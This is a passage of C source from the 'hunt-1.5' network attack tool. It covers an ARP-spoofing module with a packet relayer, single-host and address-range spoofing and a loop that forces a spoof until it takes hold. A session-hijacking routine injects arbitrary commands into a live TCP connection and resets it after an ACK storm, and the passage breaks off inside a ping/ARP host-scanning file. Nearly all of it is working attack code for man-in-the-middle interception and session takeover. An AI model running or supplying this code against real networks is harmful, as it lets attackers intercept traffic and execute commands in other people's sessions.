p_new->p_hdr.p_tcph->ack_seq && !p_new->p_hdr.p_tcph->ack) { ip = p_new->p_iph; tcp = p_new->p_hdr.p_tcph; old_check = p_new->p_hdr.p_tcph->check; tcp->check = 0; tcp->check = ip_in_cksum(ip, (unsigned short *) tcp, ntohs(ip->tot_len) - IPHDR); if (old_check != tcp->check) printf("bad checksum !!!!!!!!!!!\n"); p_new->p_hdr.p_tcph->ack = 1; tcp->check = 0; tcp->check = ip_in_cksum(ip, (unsigned short *) tcp, ntohs(ip->tot_len) - IPHDR); printf("ack flag not set - set it old=%d new=%d\n", old_check, tcp->check); } #endif } static void *arp_relay(void *arg) { struct packet *p, *p_new; struct arp_spoof_info *asi, *asi_dst; struct list_iterator li; struct iphdr *iph; struct mac_info *mi_src; int found = 0; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 10); while ((p = list_consume(&l_relay_pkt, NULL))) { asi = p->p_arg[MODULE_ARP_SPOOF]; if (!asi->src_mac_valid) { if ((mi_src = mac_info_get(asi->src_addr))) { memcpy(asi->src_mac, mi_src->mac, ETH_ALEN); asi->src_mac_valid = 1; mac_info_release(mi_src); } else { /* we should limit mac_discovery packets sent from relayer */ mac_discover(asi->src_addr, 1); /* we will find the mac next time */ } /* we do not have destination - drop the packet */ asi_release(asi); packet_free(p); continue; } if (!asi->dst_mac_valid) { memcpy(asi->dst_mac, p->p_ethh->h_source, ETH_ALEN); asi->dst_mac_valid = 1; } if (check_dont_relay(p)) { print_relay_packet("arp_realyer drop", p, 0); asi_release(asi); packet_free(p); continue; } /* special processing of packets */ if (process_pktrelay(p, asi)) { print_relay_packet("arp_relayer pktrelay", p, 0); asi_release(asi); packet_free(p); continue; } p_new = packet_new(); packet_copy_data(p_new, p); packet_free(p); p = p_new; iph = p->p_iph; memcpy(p->p_ethh->h_dest, asi->src_mac, ETH_ALEN); asi_release(asi); found = 0; list_iter_set(&li, &l_arp_spoof); while ((asi_dst = list_iter_get(&li))) { if (iph->saddr == asi_dst->src_addr && iph->daddr == asi_dst->dst_addr) { memcpy(p->p_ethh->h_source, asi_dst->src_fake_mac, ETH_ALEN); found = 1; break; } } list_iter_end(&li); if (arp_spoof_switch && ! found) { /* here should be some fake mac instaed of my_eth_mac * - debug it in switched environment */ memcpy(p->p_ethh->h_source, my_eth_mac, ETH_ALEN); } print_relay_packet("arp_relayer got", p, 1); /* modify hook - modify relayed packets if desired */ relay_modify_hook(p_new); send_packet(p_new); packet_free(p_new); } return NULL; } static int start_arp_relayer(void) { list_produce_start(&l_relay_pkt); if (relayer_running) { printf("daemon already running\n"); return -1; } pthread_create(&relay_thr, NULL, arp_relay, NULL); ifunc_relay.func = func_relay; ifunc_relay.arg = NULL; list_enqueue(&l_ifunc_ip, &ifunc_relay); relayer_running = 1; printf("daemon started\n"); return 0; } static int stop_arp_relayer(void) { struct packet *p; struct arp_spoof_info *asi; if (!relayer_running) { printf("daemon isn't running\n"); return -1; } list_remove(&l_ifunc_ip, &ifunc_relay); /* flush packets from l_relay_pkt */ while ((p = list_pop(&l_relay_pkt))) { asi = p->p_arg[MODULE_ARP_SPOOF]; asi_release(asi); packet_free(p); } list_produce_done(&l_relay_pkt); pthread_join(relay_thr, NULL); relayer_running = 0; printf("daemon stopped\n"); return 0; } void print_arp_relayer_daemon(void) { if (relayer_running) { if (pthread_kill(relay_thr, 0) != 0) { pthread_join(relay_thr, NULL); relay_thr = (pthread_t) 0; relayer_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("ARP relayer daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("Y"); } } /* * support for IP range spoof */ static int start_arp_spoof_range(struct arp_spoof_range *asr) { struct mac_info *mi_src, *mi_dst; struct arp_spoof_info *asi; unsigned int dst_addr; int count = 0; if (!(mi_src = mac_info_get(asr->src_addr))) mac_discover(asr->src_addr, 2); for (dst_addr = asr->dst_start_addr; ntohl(dst_addr) <= ntohl(asr->dst_end_addr); dst_addr = htonl(ntohl(dst_addr) + 1)) { count++; if (!(mi_dst = mac_info_get(dst_addr))) mac_discover(dst_addr, 2); else mac_info_release(mi_dst); } sec_nanosleep(1); if (!mi_src) mi_src = mac_info_get(asr->src_addr); if (!mi_src) { if (menu_choose_yn("src mac isn't known - continue? y/n", 0) <= 0) return -1; } asr->asi = malloc(count * sizeof(struct arp_spoof_info *)); asr->asi_count = 0; for (dst_addr = asr->dst_start_addr; ntohl(dst_addr) <= ntohl(asr->dst_end_addr); dst_addr = htonl(ntohl(dst_addr) + 1)) { mi_dst = mac_info_get(dst_addr); asi = start_arp_spoof(asr->src_addr, dst_addr, mi_src ? mi_src->mac : NULL, mi_dst ? mi_dst->mac : NULL, asr->src_fake_mac, asr->refresh, asr->can_forward, 1); if (!asi) fprintf(stderr, "error: start_arp_spoof_range: asi == NULL\n"); if (mi_dst) mac_info_release(mi_dst); asr->asi[asr->asi_count++] = asi; } if (mi_src) mac_info_release(mi_src); return 0; } static void stop_arp_spoof_range(struct arp_spoof_range *asr) { int i; for (i = 0; i < asr->asi_count; i++) stop_arp_spoof(asr->asi[i]); free(asr->asi); } /* * user interface */ static int arp_spoof_list_items(void) { struct list_iterator li; struct arp_spoof_info *asi; char buf[BUFSIZE]; int i = 0; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->in_range) break; sprintf_eth_mac(buf, asi->src_fake_mac); printf("%2d) on %-16s is %-16s as %s refresh %ds\n", i++, host_lookup(asi->dst_addr, hl_mode), host_lookup(asi->src_addr, hl_mode), buf, asi->refresh); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); return i; } static int arp_spoof_range_list(void) { struct list_iterator li; struct arp_spoof_range *asr; char buf[BUFSIZE]; int i = 0; list_iter_set(&li, &l_arp_spoof_range); while ((asr = list_iter_get(&li))) { sprintf_eth_mac(buf, asr->src_fake_mac); printf("%2d) on %s - %s is %-16s as %s refresh %ds\n", i++, host_lookup(asr->dst_start_addr, HL_MODE_NR), host_lookup(asr->dst_end_addr, HL_MODE_NR), host_lookup(asr->src_addr, hl_mode), buf, asr->refresh); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); return i; } static void arp_spoof_add_item(void) { unsigned int src_ip, dst_ip; unsigned char src_fake_mac[ETH_ALEN]; struct mac_info *mi_src, *mi_dst; struct arp_spoof_info *asi_src_in_dst; char buf[BUFSIZE]; int refresh, can_forward; if ((src_ip = menu_choose_hostname("host to spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else can_forward = 1; if ((dst_ip = menu_choose_hostname("target - where to insert the spoof", NULL)) == -1) return; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; if (!(mi_src = mac_info_get(src_ip))) { mac_discover(src_ip, 2); sec_nanosleep(1); if (!(mi_src = mac_info_get(src_ip))) { if (menu_choose_yn("src mac isn't known - continue? y/n", 0) <= 0) return; } } if (!(mi_dst = mac_info_get(dst_ip))) { mac_discover(dst_ip, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(dst_ip))) { if (menu_choose_yn("dst mac isn't known - continue? y/n", 0) <= 0) { if (mi_src) mac_info_release(mi_src); return; } } } asi_src_in_dst = start_arp_spoof(src_ip, dst_ip, mi_src ? mi_src->mac : NULL, mi_dst ? mi_dst->mac : NULL, src_fake_mac, refresh, can_forward, 0); if (mi_src) mac_info_release(mi_src); if (mi_dst) { mac_info_release(mi_dst); if (user_arpspoof_test(asi_src_in_dst)) user_run_arpspoof_until_successed(asi_src_in_dst); } } static void arp_spoof_range_add(void) { unsigned int src_ip, dst_start_ip, dst_end_ip; unsigned char src_fake_mac[ETH_ALEN]; struct arp_spoof_range *asr; char buf[BUFSIZE]; int refresh, can_forward; if ((src_ip = menu_choose_hostname("host to spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else can_forward = 1; if ((dst_start_ip = menu_choose_hostname("start target where to insert the spoof", NULL)) == -1) return; if ((dst_end_ip = menu_choose_hostname("end target where to insert the spoof", NULL)) == -1) return; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; asr = malloc(sizeof(struct arp_spoof_range)); assert(asr); memset(asr, 0, sizeof(*asr)); asr->asi = NULL; asr->asi_count = 0; asr->dst_start_addr = dst_start_ip; asr->dst_end_addr = dst_end_ip; asr->src_addr = src_ip; memcpy(asr->src_fake_mac, src_fake_mac, ETH_ALEN); asr->refresh = refresh; asr->can_forward = can_forward; if (start_arp_spoof_range(asr) < 0) { free(asr); return; } list_enqueue(&l_arp_spoof_range, asr); } /* counts arp_spoof_info items without in_range */ static int arp_spoof_count(void) { struct list_iterator li; struct arp_spoof_info *asi; int count; count = 0; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->in_range) break; count++; } list_iter_end(&li); return count; } static void arp_spoof_del_item(void) { int i; struct arp_spoof_info *asi; arp_spoof_list_items(); i = menu_choose_unr("item nr. to delete", 0, arp_spoof_count() - 1, -1); if (i >= 0) { asi = list_at(&l_arp_spoof, i); stop_arp_spoof(asi); /* asi is freed and removed from the list in stop_arp_spoof */ } } static void arp_spoof_range_del(void) { int i; struct arp_spoof_range *asr; arp_spoof_range_list(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_arp_spoof_range) - 1, -1); if (i >= 0) { asr = list_at(&l_arp_spoof_range, i); stop_arp_spoof_range(asr); list_remove(&l_arp_spoof_range, asr); free(asr); } } static void arp_spoof_add_h(void) { unsigned int src_ip, dst_ip; struct arp_spoof_info *asi_src_in_dst, *asi_dst_in_src; #if 0 unsigned char src_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF}; unsigned char dst_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEE}; #endif unsigned char src_fake_mac[ETH_ALEN] = {0x00, 0x60, 0x08, 0xBE, 0x91, 0xEF}; unsigned char dst_fake_mac[ETH_ALEN] = {0x00, 0x60, 0x08, 0xBE, 0x91, 0xEE}; char buf[BUFSIZE]; struct mac_info *mi_src, *mi_dst; int refresh, src_can_forward, dst_can_forward; if ((src_ip = menu_choose_hostname("src/dst host1 to arp spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("host1 fake mac", src_fake_mac, buf) < 0) return; if (can_forward_question) { if ((src_can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else src_can_forward = 1; if ((dst_ip = menu_choose_hostname("src/dst host2 to arp spoof", NULL)) == -1) return; sprintf_eth_mac(buf, suggest_mac()); if (menu_choose_mac("host2 fake mac", dst_fake_mac, buf) < 0) return; if (can_forward_question) { if ((dst_can_forward = menu_choose_yn("is host IP router y/n", 0)) < 0) return; } else dst_can_forward = 1; if ((refresh = menu_choose_unr("refresh interval sec", 0, 100000, 0)) < 0) return; if (!(mi_src = mac_info_get(src_ip))) { mac_discover(src_ip, 2); sec_nanosleep(1); if (!(mi_src = mac_info_get( src_ip))) { printf("ERR: host1 mac isn't known\n"); return; } } if (!(mi_dst = mac_info_get(dst_ip))) { mac_discover(dst_ip, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(dst_ip))) { mac_info_release(mi_src); printf("ERR: host2 mac isn't known\n"); return; } } asi_src_in_dst = start_arp_spoof(src_ip, dst_ip, mi_src->mac, mi_dst->mac, src_fake_mac, refresh, src_can_forward, 0); asi_dst_in_src = start_arp_spoof(dst_ip, src_ip, mi_dst->mac, mi_src->mac, dst_fake_mac, refresh, dst_can_forward, 0); mac_info_release(mi_src); mac_info_release(mi_dst); if (user_arpspoof_test(asi_src_in_dst)) user_run_arpspoof_until_successed(asi_src_in_dst); if (user_arpspoof_test(asi_dst_in_src)) user_run_arpspoof_until_successed(asi_dst_in_src); } static void arp_spoof_del_h(void) { struct arp_spoof_info *asi; unsigned int ip1, ip2; struct list_iterator li; int i; arp_spoof_list_items(); i = menu_choose_unr("item nr. with src/dst or [cr]", 0, arp_spoof_count() - 1, -1); if (i < 0) { if ((ip1 = menu_choose_hostname("src/dst host1 to remove", NULL)) == -1) return; if ((ip2 = menu_choose_hostname("src/dst host2 to remove", NULL)) == -1) return; } else { asi = list_at(&l_arp_spoof, i); ip1 = asi->src_addr; ip2 = asi->dst_addr; } list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == ip1 && asi->dst_addr == ip2) stop_arp_spoof(asi); if (asi->dst_addr == ip1 && asi->src_addr == ip2) stop_arp_spoof(asi); } list_iter_end(&li); } static void do_test_or_refresh(struct arp_spoof_info *asi) { int retval, refresh; refresh = 0; do { if ((retval = user_arpspoof_test(asi)) == 0) { /* error is handled by user_arpspoof_test */ printf("ARP spoof in host %s - OK\n", host_lookup(asi->dst_addr, hl_mode)); refresh = 0; } else if (retval != -2) { /* asi->dst_mac is known */ switch (menu_choose_char("do you want to refresh ARP spoof? y/n", "yn", 'y')) { case 'y': refresh = 1; send_src_spoof_to_dst(asi); break; case 'n': default: refresh = 0; break; } } else refresh = 0; } while (refresh == 1); } static void arp_spoof_user_test(void) { int i; struct arp_spoof_info *asi; arp_spoof_list_items(); i = menu_choose_unr("item nr. to test", 0, arp_spoof_count() - 1, -1); if (i < 0) return; asi = list_at(&l_arp_spoof, i); do_test_or_refresh(asi); } static void arp_spoof_range_user_test(void) { struct arp_spoof_range *asr; unsigned int dst_addr; int i, range_test; arp_spoof_range_list(); i = menu_choose_unr("item nr. to test", 0, list_count(&l_arp_spoof_range) - 1, -1); if (i < 0) return; asr = list_at(&l_arp_spoof_range, i); if ((range_test = menu_choose_yn("whole range test y/n", 0)) < 0) return; if (range_test) dst_addr = (unsigned int) -1; else if ((dst_addr = menu_choose_hostname("host to test", NULL)) == -1) return; for (i = 0; i < asr->asi_count; i++) { if (dst_addr == -1 && asr->asi[i]->dst_mac_valid) do_test_or_refresh(asr->asi[i]); else if (asr->asi[i]->dst_addr == dst_addr) { do_test_or_refresh(asr->asi[i]); break; } } if (dst_addr != -1 && i >= asr->asi_count) printf("host not found in range database\n"); } void arpspoof_menu(void) { char *r_menu = "s/k) start/stop relayer daemon\n" "l/L) list arp spoof database\n" "a) add host to host arp spoof i/I) insert single/range arp spoof\n" "d) delete host to host arp spoof r/R) remove single/range arp spoof\n" "t/T) test if arp spoof successed y) relay database\n" "x) return\n"; char *r_keys = "sklLadiIrRmtTyx"; int run_it; run_it = 1; while (run_it) { switch (menu("arpspoof daemon", r_menu, "arps", r_keys, 0)) { case 's': start_arp_relayer(); break; case 'k': stop_arp_relayer(); break; case 'l': arp_spoof_list_items(); break; case 'L': arp_spoof_range_list(); break; case 'a': arp_spoof_add_h(); break; case 'd': arp_spoof_del_h(); break; case 'i': arp_spoof_add_item(); break; case 'I': arp_spoof_range_add(); break; case 'r': arp_spoof_del_item(); break; case 'R': arp_spoof_range_del(); break; case 't': arp_spoof_user_test(); break; case 'T': arp_spoof_range_user_test(); break; case 'y': relay_menu(); break; case 'x': run_it = 0; break; } } } static struct list l_arpspoof_test = LIST_INIT(struct packet, p_next[MODULE_ARPSPOOF_TEST]); /* * this function runs in hunt thread */ static void hunt_arpspoof_test(struct packet *p, void *arg) { struct arp_spoof_info *asi = (struct arp_spoof_info *) arg; struct iphdr *iph = p->p_iph; struct icmphdr *icmph = p->p_hdr.p_icmph; if (iph->saddr == asi->dst_addr && iph->daddr == asi->src_addr && icmph->type == 0 && icmph->code == 0) { packet_want(p); list_produce(&l_arpspoof_test, p); } } static int find_asi_dst_mac(struct arp_spoof_info *asi, char *error_label) { struct mac_info *mi_dst; if (!asi->dst_mac_valid) { mac_discover(asi->dst_addr, 2); sec_nanosleep(1); if (!(mi_dst = mac_info_get(asi->dst_addr))) { if (error_label) printf("%s", error_label); return -2; } memcpy(asi->dst_mac, mi_dst->mac, ETH_ALEN); asi->dst_mac_valid = 1; mac_info_release(mi_dst); } return 0; } int arpspoof_test(struct arp_spoof_info *asi) { struct timeval tv; struct timespec timeout; struct ifunc_item ifunc_pingtest; struct packet *p; int retval; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to do arpspoof_test without known dst mac\n"); return -1; } ifunc_pingtest.func = hunt_arpspoof_test; ifunc_pingtest.arg = asi; list_enqueue(&l_ifunc_icmp, &ifunc_pingtest); for (i = 0, retval = 0; i < 3 && !retval; i++) { send_icmp_request(asi->src_addr, asi->dst_addr, asi->src_fake_mac, asi->dst_mac, 1 + i); gettimeofday(&tv, NULL); timeout.tv_sec = tv.tv_sec + 1; timeout.tv_nsec = tv.tv_usec * 1000; while ((p = list_consume(&l_arpspoof_test, &timeout))) { retval = is_icmp_reply(p, asi->dst_addr, asi->src_addr, asi->dst_mac, asi->src_fake_mac); packet_free(p); if (retval) break; } } list_remove(&l_ifunc_icmp, &ifunc_pingtest); packet_flush(&l_arpspoof_test); if (retval == 1) /* mac is spoofed - ok */ return 0; else if (retval == 2) /* ping reply received but with original mac */ return -1; /* ping reply wasn't received */ return -1; } int user_arpspoof_test(struct arp_spoof_info *asi) { char mac_buf[64]; int retval; if ((retval = find_asi_dst_mac(asi, "dst mac isn't known - cannot do test\n")) < 0) return retval; if (arpspoof_test(asi) == 0) return 0; sprintf_eth_mac(mac_buf, asi->src_fake_mac); set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s with fake mac %s in host %s FAILED\n", host_lookup(asi->src_addr, hl_mode), mac_buf, host_lookup(asi->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); return -1; } static volatile int run_arpspoof; static void run_arpspoof_intr(int sig) { run_arpspoof = 0; } int user_run_arpspoof_until_successed(struct arp_spoof_info *asi) { switch (menu_choose_char("do you want to force arp spoof until successed y/n", "yn", 'y')) { case 'y': if (run_arpspoof_until_successed(asi) == 0) { printf("ARP spoof successed\n"); return 0; } else { printf("ARP spoof failed\n"); return -1; } case 'n': return -1; } return -1; } int run_arpspoof_until_successed(struct arp_spoof_info *asi) { struct sigaction sa, sa_old; struct timespec timeout; int retval; if ((retval = find_asi_dst_mac(asi, "dst mac isn't known\n")) < 0) return retval; printf("CTRL-C to break\n"); sa.sa_handler = run_arpspoof_intr; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; sigaction(SIGINT, &sa, &sa_old); pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); run_arpspoof = 1; while (arpspoof_test(asi) != 0 && run_arpspoof) { printf("."); fflush(stdout); force_arp_spoof(asi, 4); pthread_sigmask(SIG_UNBLOCK, &intr_mask, NULL); timeout.tv_sec = 5; timeout.tv_nsec = 0; nanosleep(&timeout, NULL); pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); } if (!run_arpspoof) press_key("\n-- operation canceled - press any key> "); pthread_sigmask(SIG_UNBLOCK, &intr_mask, NULL); sigaction(SIGINT, &sa_old, NULL); return arpspoof_test(asi); } int arpspoof_exit_check() { if (list_count(&l_arp_spoof) > 0) { set_tty_color(COLOR_BRIGHTRED); printf("there are arp spoofed addresses left in arpspoof daemon\n"); set_tty_color(COLOR_LIGHTGRAY); } return 0; } hunt-1.5/hijack.c100644 0 0 17261 6621655610 12047 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include /* * * * ATTACK * * */ int user_stormack_hijack(struct user_conn_info *uci, char *cmdbuf) { struct conn_info *ci; int retval; if (!(ci = conn_get(uci))) { printf("connection isn't available\n"); retval = 1; } else { retval = stormack_hijack(ci, cmdbuf); conn_free(ci); } return retval; } struct list l_hijack_conn = LIST_INIT(struct packet, p_next[MODULE_HIJACK_CONN]); void func_hijack_dst(struct packet *p, struct conn_info *arg) { if (p->p_iph->saddr == arg->dst_addr && p->p_iph->daddr == arg->src_addr && p->p_hdr.p_tcph->source == arg->dst_port && p->p_hdr.p_tcph->dest == arg->src_port) { packet_want(p); list_produce(&l_hijack_conn, p); } } void func_hijack_src(struct packet *p, struct conn_info *arg) { if (p->p_iph->saddr == arg->src_addr && p->p_iph->daddr == arg->dst_addr && p->p_hdr.p_tcph->source == arg->src_port && p->p_hdr.p_tcph->dest == arg->dst_port) { packet_want(p); list_produce(&l_hijack_conn, p); } } /* * this function is prepared to run in hunt thread main loop */ void fast_ack_to_dst(struct packet *p, struct conn_info *ci) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->dst_addr && iph->daddr == ci->src_addr && tcph->source == ci->dst_port && tcph->dest == ci->src_port) { /* packet from dst */ if (p->p_data_len) { memset(&ts, 0, sizeof(ts)); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->src.src_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = htons(ntohs(ci->src.id) + 1); ts.ack = 1; ts.psh = 0;/* 1 */ /* with 1 we can recognize it in tcpdump */ ts.rst = 0; ts.data = NULL; ts.data_len = 0; send_tcp_packet(&ts); } } } #if 0 /* * this function is prepared to run in hunt thread main loop */ static fast_ack_to_src_count_src; static void fast_ack_to_src(struct packet *p, struct conn_info *ci) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->src_addr && iph->daddr == ci->dst_addr && tcph->source == ci->src_port && tcph->dest == ci->dst_port) { /* packet from src */ if (p->p_data_len) { memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->dst.src_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 0;/* 1 */ /* with 1 we can recognize it in tcpdump */ ts.rst = 0; #if 0 ts.data = NULL; ts.data_len = 0; #else if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } #endif send_tcp_packet(&ts); /* print_data_packet(p, p->p_data_len, ++fast_ack_to_src_count_src, 0); */ } } } #endif #if 0 static void *hijack_src_print_ack(void *arg) { struct tcp_spec ts; struct packet *p; struct conn_info *ci = (struct conn_info *) arg; int count_src = 0; while ((p = list_consume(&l_src_host))) { print_data_packet(p, p->p_data_len, ++count_src, 0); memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->dst.src_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } send_tcp_packet(&ts); packet_free(p); } return NULL; } #endif /* go to options */ int storm_reset_sec = 4; int stormack_hijack_wait_sec = 2; int stormack_hijack(struct conn_info *ci, char *cmdbuf) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; struct timespec relts; struct ifunc_item ifunc_dst, ifunc_src, ifunc_ack; struct packet *p; struct timeval reset_time, now; unsigned int src_ack = 0; int src_ack_count = -1, reset_it = 0; int count_dst = 0; int ack_storm_detect = 30; int cmdbuf_len; cmdbuf_len = strlen(cmdbuf); memset(&ts, 0, sizeof(ts)); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->dst.dst_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = htons(ntohs(ci->src.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = cmdbuf; ts.data_len = cmdbuf_len; list_produce_start(&l_hijack_conn); ifunc_ack.func = (void(*)(struct packet *, void *)) fast_ack_to_dst; ifunc_ack.arg = ci; list_enqueue(&l_ifunc_fast_tcp, &ifunc_ack); ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst; ifunc_dst.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); ifunc_src.func = (void(*)(struct packet *, void *)) func_hijack_src; ifunc_src.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_src); /* * send the packet */ send_tcp_packet(&ts); /* * try to acknovledge everything - but it works only if the * client is Linux because it discards packets which acknovledge * unexisted data. Other systems go to ack storm. */ relts.tv_sec = stormack_hijack_wait_sec; relts.tv_nsec = 0; while ((p = list_consume_rel(&l_hijack_conn, &relts))) { iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->dst_addr && iph->daddr == ci->src_addr && tcph->source == ci->dst_port && tcph->dest == ci->src_port) { /* packet from dest */ if (p->p_data_len) print_data_packet(p, p->p_data_len, ++count_dst, 1); packet_free(p); } else { /* packet from source */ if (src_ack != p->p_hdr.p_tcph->ack || src_ack_count < 0) { src_ack = p->p_hdr.p_tcph->ack; src_ack_count = 0; } else if (++src_ack_count > ack_storm_detect) { if (!reset_it) { set_tty_color(COLOR_BRIGHTRED); printf("ACK storm detected - reset after %ds\n", storm_reset_sec); set_tty_color(COLOR_LIGHTGRAY); reset_it = 1; gettimeofday(&reset_time, NULL); } else { set_tty_color(COLOR_BRIGHTRED); printf("."); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); } ack_storm_detect += 300; } packet_free(p); } if (reset_it) { int sec, usec, d_sec; gettimeofday(&now, NULL); sec = now.tv_sec - reset_time.tv_sec; usec = now.tv_usec - reset_time.tv_usec; if (usec < 0) { usec += 1000000; sec--; } d_sec = usec / 100000 + sec * 10; if (d_sec >= storm_reset_sec * 10) { rst(ci, 5, MODE_BOTH); set_tty_color(COLOR_BRIGHTRED); printf("\n\nreset done\n\n"); set_tty_color(COLOR_LIGHTGRAY); break; } } } list_remove(&l_ifunc_fast_tcp, &ifunc_ack); list_remove(&l_ifunc_tcp, &ifunc_dst); list_remove(&l_ifunc_tcp, &ifunc_src); packet_flush(&l_hijack_conn); return reset_it ? 1 : 0; } hunt-1.5/hostup.c100644 0 0 21343 6725452233 12135 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include /* * * the icmp and arp processes cannot run in parallel - we * are using the same MODULE_HOSTUP for linking the packets * */ static struct list l_icmp_packet = LIST_INIT(struct packet, p_next[MODULE_HOSTUP]); static struct list l_arp_packet = LIST_INIT(struct packet, p_next[MODULE_HOSTUP]); struct host_up_info { unsigned int start_addr; unsigned int end_addr; int *up_ping; int *promisc_ping; int *up_arp; int *promisc_arp; unsigned int up_len; }; static void func_icmp_packet(struct packet *p, void *arg) { struct iphdr *iph = p->p_iph; struct icmphdr *icmph = p->p_hdr.p_icmph; struct host_up_info *hui = (struct host_up_info *) arg; if (ntohl(iph->saddr) >= ntohl(hui->start_addr) && ntohl(iph->saddr) <= ntohl(hui->end_addr) && icmph->type == 0 && icmph->code == 0) { packet_want(p); list_produce(&l_icmp_packet, p); } } static void func_arp_packet(struct packet *p, void *arg) { struct host_up_info *hui = (struct host_up_info *) arg; struct arpeth_hdr *arpethh; unsigned int ip; arpethh = (struct arpeth_hdr *)(p->p_arph + 1); ip = *(unsigned int *) arpethh->ar_sip; if (p->p_arph->ar_op == htons(ARPOP_REPLY) && ntohl(ip) >= ntohl(hui->start_addr) && ntohl(ip) <= ntohl(hui->end_addr)) { packet_want(p); list_produce(&l_arp_packet, p); } } static void perform_ping(struct host_up_info *hui, int count, int *up, unsigned char *fake_mac) { struct mac_info *m; struct packet *p; struct timeval tv; struct timespec timeout; unsigned int ip, src_addr; unsigned int idx; int j; printf("ping"); fflush(stdout); for (j = 1; j <= count; j++) { for (ip = hui->start_addr; ntohl(ip) <= ntohl(hui->end_addr); ip = htonl(ntohl(ip) + 1)) { idx = ntohl(ip) - ntohl(hui->start_addr); if (!up[idx]) { if (!fake_mac) { if ((m = mac_info_get(ip))) { send_icmp_request(my_eth_ip, ip, my_eth_mac, m->mac, htons(j + 2000)); mac_info_release(m); } } else { send_icmp_request(my_eth_ip, ip, my_eth_mac, fake_mac, htons(j + 2000)); } } } /* listen some time for reply */ gettimeofday(&tv, NULL); timeout.tv_sec = tv.tv_sec + 2; timeout.tv_nsec = tv.tv_usec * 1000; while ((p = list_consume(&l_icmp_packet, &timeout))) { /* src addr is in the range start_addr .. end_addr - look to func_icmp_packet */ src_addr = p->p_iph->saddr; if (is_icmp_reply(p, src_addr, my_eth_ip, p->p_ethh->h_source, my_eth_mac) || (fake_mac && is_icmp_reply(p, src_addr, my_eth_ip, 